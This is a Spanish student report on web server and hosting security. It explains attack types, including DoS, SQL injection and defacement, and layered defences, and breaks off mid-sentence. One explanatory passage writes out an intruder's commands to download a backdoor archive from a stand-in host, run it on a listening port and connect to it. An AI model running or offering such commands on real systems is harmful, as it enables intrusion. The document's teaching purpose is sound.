Seguridad En Servidores Web Y Hosting

SEguridad en servidores web y hosting
View more...
   EMBED

Share

Preview only show first 6 pages with water mark for full document please download

Transcript

Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting TCP IP / Profesor Juan Olivares SEGURIDAD EN SERVIDORES WEB Y HOSTING Alumnos: Heine Vargas Pablo Carmona Luis Sanhueza Christian Cuevas Carrera: Gestión y Soporte de Redes 3 º Semestre. Página 1 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Introducción En los últimos años la evolución, y la posterior innovación de la tecnología ha generado grandes avances en todos los ámbitos. Las comunicaciones han sido las de mayor desarrollo, especialmente el desarrollo de Internet. Internet está presente en nuestras vidas y en nuestras costumbres, en la forma de buscar información, de entretenernos, de comunicarnos y por supuesto, ha hecho que aparezcan nuevas formas de comprar y vender bienes. Desde el comunicarse por Messenger o comunicarse vía Skype, hasta el revisar la cuenta corriente bancaria mediante Internet, el uso de la red ha ido ocupando un lugar en la vida de cada persona. Estos cambios conllevan grandes beneficios no sólo para las personas, también para las empresas que han encontrado grandes oportunidades en los desarrollos de las comunicaciones. Estas tecnologías están al alcance tanto de las grandes empresas como de las pequeñas. Cualquiera de estos avances puede estar al alcance de otras empresas o potenciales clientes dispersos alrededor del mundo. De esta manera, se han desarrollado un gran número de operaciones comerciales novedosas. Pero así como crecen los beneficios, esta nueva realidad presenta un desafío para las autoridades fiscales, ya que no es tarea fácil crear un sistema legal-impositivo adecuado a los nuevos tipos de comercio. Y como sucede en Chile y el resto del planeta, a medida de que las medidas de seguridad se van optimizando, la delincuencia va sofisticando cada vez más sus métodos de intrusión e infiltración en los sistemas. Lo cual, requiere de una retroalimentación constante, mantenerse informado, y de este modo, estar preparado ante un inminente ataque. El comercio electrónico va creciendo cada día, ya que es una forma cómoda y rápida de adquirir lo que necesitemos sin movernos de nuestra casa. Página 2 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Objetivos El objetivo general que tiene el presente trabajo es el presentar un trabajo bien constituido sobre la seguridad en servidores y alojamiento Web, explicando una serie de conceptos relacionados al tema, comenzando por definir los dispositivos en los cuales se está enfocando el concepto, las vulnerabilidades y medidas, en lo que respecta a la seguridad. Los objetivos específicos del presente trabajo son: 1.- Que el trabajo permita identificar las vulnerabilidades comunes en los que respecta a la seguridad de servidores Web y hosting. 2.- Presentar ante la autoridad evaluadora un trabajo bien constituido, el cual se encuentre bien distribuido, con un esquema ordenado. 3.- Que los alumnos realizadores del trabajo aprendan los conceptos tratados, y éstos puedan ser aplicados en el ramo de protocolos TCP-IP. Página 3 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Servidor Web ¿Qué es un servidor Web? Básicamente, un servidor Web sirve contenido estático a un navegador, carga un archivo y lo sirve a través de la red al navegador de un usuario. Este intercambio es mediado por el navegador y el servidor que hablan el uno con el otro mediante HTTP. Se pueden utilizar varias tecnologías en el servidor para aumentar su potencia más allá de su capacidad de entregar páginas HTML; éstas incluyen scripts CGI, seguridad SSL y páginas activas del servidor (ASP). Los Servidores almacenan información en forma de páginas Web y a través del Protocolo HTTP lo entregan a petición de los clientes (navegadores Web) en formato HTML. Servidor Web Página 4 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Funcionamiento El Servidor Web se ejecuta en un ordenador manteniéndose a la espera de peticiones por parte de un cliente (un navegador Web) y que responde a estas peticiones adecuadamente, mediante una página Web que se exhibirá en el navegador o mostrando el respectivo mensaje si se detectó algún error. A modo de ejemplo, al teclear www.wikipedia.org (http://www.wikipedia.org) en nuestro navegador, éste realiza una petición HTTP al servidor de dicha dirección. El servidor responde al cliente enviando el código HTML de la página; el cliente, una vez recibido el código, lo interpreta y lo exhibe en pantalla. Funcionamiento de un servidor Web Como vemos con este ejemplo, el cliente es el encargado de interpretar el código HTML, es decir, de mostrar las fuentes, los colores y la disposición de los textos y objetos de la página; el servidor tan sólo se limita a transferir el código de la página sin llevar a cabo ninguna interpretación de la misma. Además de la transferencia de código HTML, los Servidores Web pueden entregar aplicaciones Web. Éstas son porciones de código que se ejecutan cuando se realizan ciertas peticiones o respuestas HTTP. Hay que distinguir entre: Aplicaciones en el lado del cliente: el cliente Web es el encargado de ejecutarlas en la máquina del usuario. Son las aplicaciones tipo Java "applets" o Javascript: el servidor proporciona el código de las aplicaciones al cliente y éste, mediante el navegador, las ejecuta. Es necesario, por tanto, que el cliente disponga de un navegador con capacidad para ejecutar aplicaciones (también llamadas Página 5 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting scripts). Comúnmente, los navegadores permiten ejecutar aplicaciones escritas en lenguaje javascript y java, aunque pueden añadirse más lenguajes mediante el uso de plugins. Aplicaciones en el lado del servidor: el servidor Web ejecuta la aplicación; ésta, una vez ejecutada, genera cierto código HTML; el servidor toma este código recién creado y lo envía al cliente por medio del protocolo HTTP. Las aplicaciones de servidor muchas veces suelen ser la mejor opción para realizar aplicaciones Web. La razón es que, al ejecutarse ésta en el servidor y no en la máquina del cliente, éste no necesita ninguna capacidad añadida, como sí ocurre en el caso de querer ejecutar aplicaciones javascript o java. Así pues, cualquier cliente dotado de un navegador Web básico puede utilizar este tipo de aplicaciones. El hecho de que HTTP y HTML estén íntimamente ligados no debe dar lugar a confundir ambos términos. HTML es un lenguaje de marcas y HTTP es un protocolo. Servidor Web Local Protocolo Cliente-Servidor.- Instalar un servidor Web en nuestro PC nos permitirá, entre otras cosas, poder montar nuestra propia página Web sin necesidad de contratar hosting, probar nuestros desarrollos vía local, acceder a los archivos de nuestro equipo desde un PC remoto (aunque para esto existen otras opciones, como utilizar un servidor FTP) o utilizar alguno de los programas basados en Web tan interesantes que están viendo la luz últimamente. El problema de usar nuestro ordenador como servidor Web es que conviene tenerlo encendido permanentemente (para que esté accesible de forma continua como la mayoría de los sitios webs), con el consiguiente coste debido al consumo de electricidad (Conviene tener en cuenta que hay alojamientos Web gratuitos, incluso sin publicidad y con interesantes funciones). Software Algunos servidores Web importantes son: Apache, IIS, Cherokee Otros servidores, más simples pero más rápidos, son: Lighttpd y thttpd Página 6 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Web Hosting ¿Qué es Web Hosting? Web Hosting es la renta de espacio en un servidor de Internet para colocar páginas Web. De esta manera no hay que preocuparse por comprar un servidor que tiene que estar conectado 24 horas al día, configurarlo, contratar personal especializado, etc. Imagen relativa al alojamiento Web.- Un servicio de Web hosting, es el que presta una empresa que provee espacio para alojamiento de páginas Web. Las empresas de alojamiento (hosting) tienen sistemas que actúan como servidores Web (“hosts”) o han comprado espacio en un servidor de una tercera empresa. Las empresas de hosting venden espacio a sus clientes en su servidor, los cuales luego, alojan los archivos, gráficos y otros relativos a sus páginas Web, desde donde pueden ser vistos en la World Wide Web. Los servidores de las empresas host están conectadas al WWW las 24 horas del día todo el año, para que cualquiera pueda tener acceso a una determinada página Web, en cualquier momento con solo ingresar su dirección URL. La mayoría de empresas host, ofrecen el servicio de alojamiento a sus clientes por una tarifa mensual, trimestral o anual. Los servicios de hosting básicos pueden variar en lo que ofrecen, pero la mayoría ofrecen más o menos lo mismo, con programas para principiantes a tarifas muy bajas. Los servicios de hosting pueden costar más debido a que se contrata mayor espacio de alojamiento, cuentas adicionales de correo, y otros servicios más complejos, como “carritos de compra” en línea y comercio electrónico. Página 7 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Servidor seguro en el comercio electrónico en un website Con un servidor seguro la información transmitida entre su website y el visitante es codificada, de manera que si alguien logra interceptar la transmisión le será muy difícil descifrar los números de tarjeta de crédito y demás datos, por lo que no podría utilizarlos contra la empresa y sus clientes, generando la confianza necesaria para que compren. Certificado de un servidor seguro Con un certificado los visitantes de la website estarán seguros de que están conectados a su website de manera segura porque con el certificado todos los datos enviados entre el visitante y su website son codificados. Firma digital La firma digital hace referencia, en la transmisión de mensajes telemáticos y en la gestión de documentos electrónicos, a un método criptográfico que asocia la identidad de una persona o de un equipo informático al mensaje o documento. En función del tipo de firma, puede, además, asegurar la integridad del documento o mensaje. La firma electrónica, como la firma hológrafa (autógrafa, manuscrita), puede vincularse a un documento para identificar al autor, para señalar conformidad (o disconformidad) con el contenido, para indicar que se ha leído y, en su defecto mostrar el tipo de firma y garantizar que no se pueda modificar su contenido. HTTP y HTTPS, representados con sus respectivas pilas de protocolos. Página 8 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Formato de la firma electrónica Regulaciones en diferentes países El marco común de firma electrónica de la Unión Europea El mercado interior de la Unión Europea implica un espacio sin fronteras interiores en el que está garantizada la libre circulación de mercancías. Deben satisfacerse los requisitos esenciales específicos de los productos de firma electrónica a fin de garantizar la libre circulación en el mercado interior y fomentar la confianza en la firma electrónica. En ese sentido la Directiva 1999/93/CE sienta un marco común para la firma electrónica que se concretó con la transposición de la Directiva a las diferentes legislaciones nacionales de los países miembros. Ley sobre firma electrónica en Chile Esta ley fue publicada el 15 de septiembre del año 2003 por el Ministerio Secretaría General de la Presidencia, la Ley 19.799 sobre Documentos Electrónicos, Firma Electrónica y Servicios de Certificación de dicha firma, reconoce que los órganos del Estado podrán ejecutar o realizar actos, celebrar contratos y expedir cualquier documento, dentro de su ámbito de competencia, suscribiéndolos por medio de firma electrónica simple. Igualmente señala que estos actos, contratos y documentos, suscritos mediante firma electrónica, serán válidos de la misma manera y producirán los mismos efectos que los expedidos en soporte de papel. Página 9 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Ataques al servidor Web Vulnerabilidad de los servicios en la Web Los primeros ataques a la red aprovecharon las vulnerabilidades relacionadas con la implementación de conjuntos de protocolos TCP/IP. Al corregirlas gradualmente, los ataques se dirigieron a las capas de aplicaciones y a la Web en particular, ya que la mayoría de las empresas abrieron sus sistemas de firewall al tráfico en Internet. El protocolo HTTP (o HTTPS) representa el estándar que posibilita la transferencia de páginas Web a través de un sistema de solicitud y respuesta. Internet, que se utiliza principalmente para transferir páginas Web estáticas, se ha convertido rápidamente en una herramienta interactiva que permite proporcionar servicios en línea. El término "aplicación Web" se refiere a cualquier aplicación a cuya interfaz se pueda acceder en la Web desde un simple navegador. Hoy en día, el protocolo HTTP, la base para una determinada cantidad de tecnologías (SOAP, Javascript, XML-RPC, etc.), juega un indudable papel estratégico en la seguridad de sistemas de información. Debido a que los servidores Web están cada vez más protegidos, los ataques están dirigiendo su atención al aprovechamiento de las fallas de las aplicaciones Web. Como tal, la seguridad de los servicios de Internet debe tenerse en cuenta al momento del diseño y desarrollo. Algunas vulnerabilidades ilustradas durante el tráfico cliente-servidor Página 10 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Tipos de vulnerabilidades Las vulnerabilidades de aplicaciones Web se pueden clasificar de la siguiente manera: Vulnerabilidades del servidor Web. Este tipo es cada vez más atípico ya que la mayoría de los Desarrolladores de servidores Web han aumentado su seguridad con los años; Manipulación de URL, incluida la modificación manual de parámetros de URL para modificar el comportamiento esperado del servidor Web; Aprovechamiento de las debilidades de los identificadores de sesión y sistemas de autenticación; Inyección de código HTML y Secuencia de comandos entre sitios; Inyección de comandos SQL. La verificación necesaria de los datos de entrada El protocolo HTTP se utiliza por naturaleza para administrar las solicitudes, es decir, para recibir los datos de entrada y enviar los datos de retorno. Los datos se pueden enviar de varias maneras: La URL de la página Web En encabezados HTTP En el cuerpo de la solicitud (solicitud POST) A través de una cookie En general, la idea básica a tener en cuenta durante el proceso de desarrollo es que nunca se debe confiar en los datos enviados por el cliente. Casi todas las vulnerabilidades de los servicios Web están vinculadas a la negligencia por parte de los diseñadores, quienes no han verificado el formato de los datos ingresados por los usuarios. Página 11 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Impacto de los ataques en la Web Los ataques a las aplicaciones Web siempre son dañinos ya que proporcionan una mala imagen a la empresa. Un ataque exitoso puede provocar cualquiera de las siguientes consecuencias: Desfiguración de la página Web; Robo de información; Modificación de datos, y en particular la modificación de datos personales de los usuarios; Intrusión en el servidor Web. Página 12 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Amenazas contra los servidores Web Obtención usuario y clave con diccionarios o fuerza bruta (http://www.hoobie.net/brutus/) Hoy día, hay un enorme número de amenazas a las que hace frente a un servidor Web, muchas de ellas dependen del uso, el sistema operativo y el ambiente que se haya configurado en el sistema mismo. Estos son algunos de los ataques más genéricos que su "pobre" servidor puede enfrentar. Negación del servicio Un ataque por negación del servicio (DOS) es uno de los ataques de la “vieja escuela” que el servidor puede enfrentar. El ataque es muy simple, y hoy en día es realizado por aquellos individuos conocidos comúnmente como script kiddies, con un perfil de habilidades técnicas bajo. En resumen, un ataque DOS es un ataque en el cual un sistema ataca otro con la intención de consumir todos los recursos del sistema (tales como ancho de banda o ciclos del procesador), no dejando nada libre para peticiones legítimas. Generalmente, estos ataques se han relegado a la categoría de molestias, pero no por ello hay razón para bajar la guardia ante ellos, aunque hay un montón de cosas más para mantenerse despierto. Negación del servicio distribuida El ataque por negación del servicio distribuido (DDoS) es el hermano mayor del ataque DOS y como tal es más malo y más sucio. La meta del ataque DDoS es hacer la misma cosa que el DOS, pero a una escala mucho más grande y compleja. En un ataque de DDoS, en vez de un sistema ataque a Página 13 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting otro, un atacante utiliza sistemas múltiples para apuntar un servidor (su servidor), y sistemas múltiples significa (en algunos casos) no centenares o millares, sino hasta cientos de millares. Donde el ataque DOS es tan solo una molestia, un ataque de DDoS puede ser mortal, ya que puede llevar a un servidor fuera de línea rápidamente. La buena noticia es que el nivel de habilidad requerido para contrarrestar un ataque DDoS apagado no es tan alto. Algunos de los ataques más comunes de DDoS incluyen: Ataques FTP. Un ataque FTP (File Transfer Protocol) se decreta cuando un atacante carga en un servidor ftp un archivo construido especialmente para hacerlo vulnerable, el efecto es que alternadamente lo remite a otra localización, que es generalmente otro servidor ftp dentro de la organización. El archivo enviado típicamente contiene una cierta clase de carga diseñada para hacer que el servidor final haga lo que el atacante desea. Simulación ataque Dos Ftp Ataque de exploración de puertos. Un ataque de exploración de puertos se realiza a través la exploración estructurada y sistemática de un Host. Por ejemplo, alguien puede explorar su servidor Web con la intención de encontrar servicios expuestos u otras vulnerabilidades que puedan ser explotadas. Este ataque puede ser realizado de una manera fácil con cualquier número de programas exploradores de puertos disponibles gratuitamente en Internet. También es uno de los tipos de ataque más comunes, pues es tan simple que los pequeños hackers (script kiddies) los realizan apenas consiguen el nombre de un Host o la dirección IP de un servidor (sin embargo, típicamente ellos no saben interpretar los resultados). Tenga esto presente, pues un atacante con más habilidades utilizará la exploración de puertos para descubrir información que usará en un esfuerzo posterior. Ataque de exploración de puertos Página 14 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Ataque de inundación por ping (Pingflood). Es un ataque simple DDoS en cuál una computadora envía un paquete (ping) a otro sistema con la intención de descubrir información sobre servicios o sistemas de arriba a abajo. En el extremo inferior, una inundación por Ping se puede utilizar para descubrir información encubierta, pero en la parte alta los paquetes que son enviados a una blanco o víctima pueden provocar que el sistema quede fuera de línea o sufra retardos. Este es un ataque a la “vieja escuela”, pero es aún muy eficaz, ya que cierto número de sistemas operativos modernos siguen siendo susceptibles a este. ataque de inundación por ping (PingFlood) Ataque "Smurf". Este ataque es similar al ataque de inundación por ping pero con una astuta modificación al proceso. En un ataque Smurf, el comando "ping" se envía a una red intermedia, donde el efecto se amplifica y se remite a la víctima. Así, lo que antes era una sola “gota” ahora se convierta en un "tsunami" virtual de tráfico. Afortunadamente, este tipo de ataques es raro. Ataque Smurf Página 15 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Ataque por inundación SYN (Synflood). Este ataque requiere un cierto conocimiento del protocolo TCP/IP -es decir como trabaja el proceso de comunicación IP-. La manera más fácil de explicar este ataque es con una analogía. Este ataque es el equivalente en una red a enviar a alguien una carta que requiere una respuesta, solamente que la carta utiliza un falso remitente. Así cuando el objetivo envía de vuelta la carta espera una respuesta, pero la respuesta nunca llega porque de alguna manera entra en un hoyo negro en algún lugar. Suficientes peticiones SYN al sistema y el atacante puede provocar que se utilicen todas las conexiones disponibles en el sistema, de modo que nada mas pueda fluir a través de este. Ataque por inundación SYM (SynFlood) Ataque de fragmentación. En este caso, un atacante utiliza conocimientos avanzados del protocolo del TCP/IP para romper los paquetes en pedazos o “fragmentos” más pequeños, que puentean la mayoría de los sistemas de intrusión-detección. En casos extremos, este tipo de ataque puede causar caídas, bloqueos, reboots, pantallas azules y otro tipo de travesuras. Afortunadamente, este ataque es difícil de lograr. uso de Fragmentación Página 16 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Ataque SNMP. Estos ataques se diseñan específicamente para explotar el servicio SNMP, el cual maneja la red y los dispositivos en ella. Ya que el servicio SNMP se usa para manejar los dispositivos de la red, al explotar este servicio se puede conseguir inteligencia detallada sobre la estructura de la red que puede utilizarse más adelante para otros ataques. SNMP Desconfiguración de la página Web La desconfiguración de la página Web ocurre de vez en cuando. Como su nombre lo indica, este ataque resulta de una desconfiguración del sitio, cuando un servidor está incorrectamente configurado, y un atacante utiliza esta debilidad para modificar páginas bajo cualquier cantidad de razones, por ejemplo la diversión o promover una causa política. Pagina Web desconfigurada. Página 17 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Inyección SQL Inyecciones SQL (lenguaje de consulta estructurada), son los ataques realizados contra bases de datos. En este caso, un atacante utiliza debilidades en el diseño de la base de datos o de la página Web para extraer información o más aún, para manipular información dentro de la base de datos. Aunque no es posible en este caso ser más específicos respecto a cómo quitar este tipo de ataque, usted puede evitarlo si tiene conocimientos de SQL, los cuales debería tener -si está hospedando una base de datos en su servidor Web-. Inyección SQL Codificación pobre Cualquier persona que ha sido desarrollador o ha trabajado en tecnologías de la información ha visto los problemas asociados a prácticas descuidadas o perezosas en la codificación. Una pobre codificación puede generar un gran número de factores, incluyendo un pobre entrenamiento, nuevos desarrollos, o una escasa garantía de calidad para una aplicación. En el mejor de los casos, una codificación pobre puede ser no mas que una molestia, donde las funcionalidades de una aplicación no trabajen según lo anunciado; pero en el peor de los casos, las aplicaciones pobremente codificadas pueden tener "agujeros" de seguridad importantes. Página 18 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Programación en PHP. Códigos empaquetado (Shrink-wrapped code) Este problema se relaciona con los anteriores casos de codificación pobre, pero con una diferencia: Básicamente, el problema proviene de la conveniencia de obtener componentes precompilados o desarrollados de antemano, que se pueden utilizar como bloques para construir aplicaciones propias. Su desventaja es que los componentes utilizados pueden no haber pasado un proceso de revisión de su código -tal como el que usted haría-, y su uso puede crear problemas potenciales. Adicionalmente, no es extraño escuchar por parte de los desarrolladores que realmente "no saben como analizar el código y entender totalmente lo que está haciendo" como para saber poner en uso componentes “empaquetados”. En al menos un caso puedo pensarlo. Estoy enterado de un revelador caso en el que usando un bloque del código empaquetado para proporcionar un mecanismo de autentificación - para una aplicación que autentificaba usuarios reales-, también se enviaban electrónicamente las mismas credenciales de manera secreta a una tercera persona. Página 19 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Los dos niveles de ataques a servidores Web Ataque a sitio de dominio.gov.ar 13/8/2004 Un mal día entramos a nuestro sitio Web, y en lugar de ver nuestra página de siempre nos encontramos con otra portada: "defaced" o "este servidor ha sido hackeado". Una vez confirmado que realmente es así (que no se trata de un desvío del dominio), debemos identificar en qué nivel ha sido realizada la intrusión: nivel de aplicación o nivel de sistema. En uno u otro nivel los riesgos son distintos, y son distintas las medidas a tomar para corregir el problema. Una foto del Che Guevara, el símbolo de la anarquía... la cara de un mono... Fido Dido... un paquete de sopa instantánea... Sea cual fuere la nueva "presentación" de nuestro sitio Web, lo primero que debemos hacer (además de tranquilizarnos frente al estado de shock que producen estas situaciones) es verificar si el servidor realmente ha sido vulnerado, y que no se trate simplemente de un desvío de DNS. Voy a resumir el problema del DNS: el Domain Name System es el responsable de traducir los nombres de los sitios a las direcciones IP de los servidores donde éstos están alojados. Así cuando escribimos "www.sitioweb.com" el DNS retorna la dirección IP del servidor (como ser 200.40.129.50). Ahora imaginemos que un servidor DNS (hay millones) ha sido engañado, y en lugar de retornar la dirección IP correcta, nos devuelve la IP de otro server donde se aloja la página Web que vemos en lugar de la nuestra. Página 20 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting A esto se le llama "DNS spoofing", y sus efectos normalmente son locales. Es decir: el fallo lo experimentan sólo las máquinas que se basan (resuelven) en el servidor DNS en cuestión (una empresa, un ISP, una ciudad). Y el resto del mundo sigue viendo nuestro sitio Web original sin problemas. Bien, una vez descartado que se trate de DNS spoofing, y confirmado -IP mediante- que nuestro sitio Web realmente ha sido modificado, estamos en hora de determinar si el ataque se realizó a nivel de aplicación o a nivel de sistema. Nivel de Sistema Es el nivel de acceso que representa más riesgo. Es lo que todo intruso desea lograr en una máquina: tener el control total de los recursos... adueñarse completamente de la máquina con los mismos privilegios que el propio administrador. El acceso a nivel de sistema implica el acceso al mismo sistema operativo, en última instancia mediante un terminal remoto. Estos accesos se logran a través de algún servicio mal configurado, o de aplicaciones vulnerables que permitan la ejecución de código arbitrario en el server. Por ejemplo: si tenemos abierto un servicio telnet, o un SSH vulnerable, estamos dando al atacante una terminal de acceso para que simplemente comience a trabajar en su próximo paso que discutiremos en las próximas líneas: la escalada de privilegios. Otra posible entrada a un sistema es la explotación de servicios vulnerables que permitan desbordamientos de búfers (que nos permitan, aún sin tener un terminal, ejecutar comandos en el sistema operativo). Consideremos el siguiente caso: un intruso sabe que mediante un sendmail mal configurado, o un proFTPd u otro software, tiene la posibilidad de ejecutar comandos sobre la máquina... Y esos comandos pueden ser: 1) wget http://www.sitiohacker.com/backdoor.tar.gz 2) tar -xvzpf ./backdoor.tar.gz 3) cd backdoor 4) ./backdoor -p 10040 En al paso (1) baja de internet un paquete comprimido conteniendo un software de intrusión (backdoor.tar.gz en nuestro ejemplo). En el paso (2) descomprime el paquete en el directorio actual (no importa cual sea). En el paso (3) se mueve al directorio que ha sido creado tras descomprimir las herramientas. Y en el paso (4) ejecuta un comando que pone a funcionar el servicio "backdoor" Página 21 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting escuchando en el puerto TCP 10040. (sólo se trata de un ejemplo: las direcciones y los nombres son ficticios. En la práctica puede haber miles de posibilidades). Hasta ahora el intruso ha ejecutado estos comandos sin retorno visual: no tiene una pantalla que le permita ver los resultados de lo que está tecleando, ya que la vulnerabilidad le permite sólo enviar los comandos que llegan al sistema operativo mediante una vía alternativa. Pero ahora el intruso, cómodamente y desde su máquina, puede hacer lo siguiente: telnet 172.16.100.21 10040 ...donde la IP del servidor atacado es 172.16.100.21, y 10040 es el puerto donde el hacker puso a funcionar su aplicación "backdoor". Ahora sí, el hacker tiene una terminal de acceso a nuestro sistema. Casi con la comodidad de estar en su propia PC. Pero para tener el control total del servidor aún le hace falta realizar otro trabajo: Escalada de privilegios En el ejemplo anterior describiendo la forma de realizar un acceso, todos los comandos que se ejecutaron en el sistema (incluso la ejecución del programa "backdoor", y los comandos que a su vez se ejecuten a través de éste) se harán con los privilegios y permisos que tenga el programa a través del cual se accedió al servidor. En caso de haber accedido por una brecha de proFTPd, seremos el usuario "ftp", o "nobody": usuarios menores, con privilegios recortados, incapaces de realizar grandes cambios en la configuración del servidor. La "escalada de privilegios" tiene un nombre bien autoexplicativo: consiste en la realización de uno o más ataques a programas locales mal configurados, y a través de los mismos ir logrando nuevos privilegios, hasta tomar el lugar del superusuario root (o wheel en los BSD). Sobre este punto se pueden escribir decenas de libros, pero su profundización está fuera de los objetivos de este artículo. Quien se haya tomado el trabajo de acceder de esta forma a un servidor, difícilmente sea tan estúpido como para dedicarse a modificar las páginas Web poniendo "servidor hackeado". Por el contrario: esta categoría de intrusos permanece en silencio, tratan de permanecer inadvertidos durante todo el tiempo posible para así poder sacar el máximo provecho posible de "su nuevo servidor". Tal vez sólo al final, como broche de oro, tome la iniciativa de cambiar la portada del sitio Web (cuando el servidor no le sirva más para sus objetivos, o si es descubierto y se da cuenta de que va a ser expulsado). Página 22 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Nivel de Aplicación Los ataques a nivel de aplicación son aquellos que se realizan explotando vulnerabilidades de aplicaciones que permitan modificar los datos que la propia aplicación manipula, pero sin la posibilidad de ejecución de comandos sobre el sistema operativo. Ejemplos: la modificación o borrado de contenidos en un sistema de gestión de portales, como phpNuke o Mambo. O la manipulación de una base de datos SQL mediante un acceso no autorizado a un phpMyAdmin vulnerable. En este tipo de ataques el intruso puede cambiar lo que desee en nuestro sitio Web, o en nuestras bases de datos. Pero no se puede considerar que el servidor esté comprometido, ni que el intruso haya entrado efectivamente en el sistema. Los ataques a nivel de aplicación son los más comunes y visibles (y los más populares entre los chicos traviesos aficionados a romper cosas). De modo que el servidor -a pesar de estos ataquespermanece intacto. La seriedad y la gravedad de estos ataques depende de la importancia de la aplicación Web atacada: no es lo mismo un ataque de este tipo en una galería de fotos online, que en una aplicación de procesamiento de pagos y transferencias financieras. Consideraciones de seguridad en Servidores Web Medidas Preventivas: Su objetivo es prevenir o dificultar la intrusión ejemplo: Firewalls Firewall Página 23 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Medidas Reactivas: Reaccionan ante la amenaza tomando contra medidas ejemplo: Firewall de aplicaciones, Mod_security, Sistema de detección de ataques de fuerza bruta, etc. Mod Security Medidas de Detección: Ayudan a detectar si una intrusión a ocurrido o está en proceso. Ejemplo: HIDS como Tripwire, chkrootkit chkrootkit en linux Medidas de Recuperación: Ayudan a recuperar la operabilidad luego de una intrusión Ejemplo: backups e imágenes de disco. Al implementar un esquema de seguridad, se debe planear en líneas defensivas, cada línea refuerza la anterior, de modo que el fallo o la vulnerabilidad de una línea no comprometa la instalación, piense como el enemigo, monitoree sus logs e investigue cualquier indicio sospechoso. Backup Página 24 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Un ejemplo típico de un esquema defensivo: Primera lìnea Componente: Software Objetivo: Mantener nuestro software al día y con sus respectivos parches de seguridad aplicados Segunda línea Componente: Firewall Objetivo: Reglamentar el tráfico de entrada/salida Ejemplos: APF, Firewalls de hardware, etc. Un firewall clásico evita que accesos a determinados servicios de nuestro servidor pero no protegerá los servicios que obligatoriamente debemos dejar abiertos en un servidor Web como son: http, mail, ssh, etc Tercera línea Componente: Sistema de detección de ataques de fuerza bruta. Objetivo: Proteger nuestros puntos de entrada al servidor, ssh, ftp, etc. que un firewall clásico no protegería. Ejemplos: BFD Los hackers saben muy bien que muchos usuarios son descuidados con sus passwords, también saben que muchísima gente usa su mismo login como password, además existen numerosas herramientas que facilitan el ataque a servicios como ftp y ssh, estos ataques tratan de ingresas miles de combinaciones de usuarios y passwords, para tratar de dar con alguna que funcione. Cuarta línea Componente: Firewall de aplicación. Objetivo: Proteger nuestras aplicaciones Web de uso malicioso Ejemplo: mod_security Muchas aplicaciones Web son inseguras, una no adecuada validación de variables y formularios puede ser la puerta de entrada para hacker, los firewalls de aplicaciones protegen nuestras aplicaciones de uso malicioso. Quinta línea Componente: HIDS activos Objetivo: Examinar los paquetes entrantes en busca de ataques conocidos Ejemplo: SNORT estos sistemas verifican el tráfico entrante y lo comparan con patrones de ataque conocidos y en base a eso pueden tomar acciones. Página 25 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Sexta línea Componente: HIDS pasivos Objetivo: Detectar intrusiones recientes o en proceso Ejemplo: Tripwire La idea básica detrás de estos sistemas es saber con exactitud si una intrusión ha ocurrido y saber que partes del sistema fueron modificados, de esta manera podemos planear la recuperación y parcheo del sistema Séptima línea BACKUP: Después de una intrusión, esto es lo único que le quedará; asegúrese de que realizar periódicamente copias de respaldo y mensualmente haga pruebas de restauración. Consejos generales de seguridad: Proteja su computadora personal tanto como su servidor, de nada vale proteger su server si un hacker puede robarle su contraseña fácilmente de su computadora. Revise los logs diariamente; Investigue cualquier anomalía. Manténgase informado acerca de las últimas amenazas de seguridad. Parta de la premisa de que NO existe un servidor impenetrable solo difícil de comprometer. Seguridad no es instalar paquetes de seguridad en su servidor, es una filosofía de trabajo. Investigar cualquier Anomalía Página 26 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Otras consideraciones de seguridad, vistas desde otro punto de vista: Usar siempre software en su última versión release (estable): Esto ya que las últimas versiones traen normalmente resueltos problemas de seguridad detectados que podrían ser usados en contra de un servidor. Instalar solo los servicios necesarios que se van a utilizar: (por ejemplo Servidor Web o Servidor de base de datos), nunca instalar servicios que no se utilizarán como servidores de correo innecesarios y servicios de compartir de archivos entre otros. Cambiar puertos por defecto: a las aplicaciones comunes que se puedan considerar vulnerables. (Ejemplo: MySQL). Cerrar todos los puertos del servidor que no sean estrictamente necesarios: normalmente para un servidor Web se requiere el puerto 80, el puerto de correo a utilizar (solo de requerirse un servicio de correo) y algún puerto para conexión remota al servidor como el 22 para ssh, el cual se recomienda cambiar. Instalar un firewall: si se usa linux iptables está perfecto, si se usa windows la versión gratuita de Zone Alarm es una buena alternativa No instalar los siguientes servicios en los servidores Web: Finger SNMP Si se desea instalar un FTP, en su lugar usar SFTP. Mantener constantemente actualizado el software instalado (Incluido el Sistema Operativo): de esta forma se tienen siempre las versiones de las aplicaciones que tienen corregidos fallos de seguridad. No permitir en los accesos SSH el ingreso del usuario Root: solo se podrá acceder a él mediante algún usuario previamente autenticado ejecutando las instrucciones "su" o "sudo -s". Página 27 de 30 Instituto Tecnológico de Chile – Seguridad en Servidores Web y Hosting Usar siempre contraseñas seguras: con más de 10 caracteres que incluyan 